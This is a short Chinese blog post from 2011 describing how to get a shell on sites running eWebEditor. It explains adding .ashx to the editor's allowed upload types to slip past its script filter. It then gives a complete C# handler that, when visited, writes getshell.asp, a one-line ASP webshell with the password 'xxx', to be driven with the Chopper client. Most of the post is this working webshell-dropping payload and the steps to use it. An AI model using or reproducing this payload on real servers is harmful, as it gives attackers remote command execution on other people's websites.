ashx 脚本 拿shell

该方法是利用在一些比较BT的上传上面

如果ewebeditor过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型,上传一个ashx脚本上去,脚本内容如下:

 

 

 

 

 

 

<%@ WebHandler Language="C#" class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));

file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");

file1.Flush();

file1.Close();

}

public bool IsReusable {

get {

return false;

}

}

}

 

保存为 ashx ,现在来添加一个 ashx 上传类型看看.

上传成功,直接访问

http://www..xxxxx.com/ admin/eWebEditor/UploadFile/201082143554545.ashx 就会在当前目录生成一个

getshell.asp 一句话木马 密码为xxx 用菜刀链接

posted on 2011-11-16 22:44  0xcc  阅读(322)  评论(0编辑  收藏  举报

导航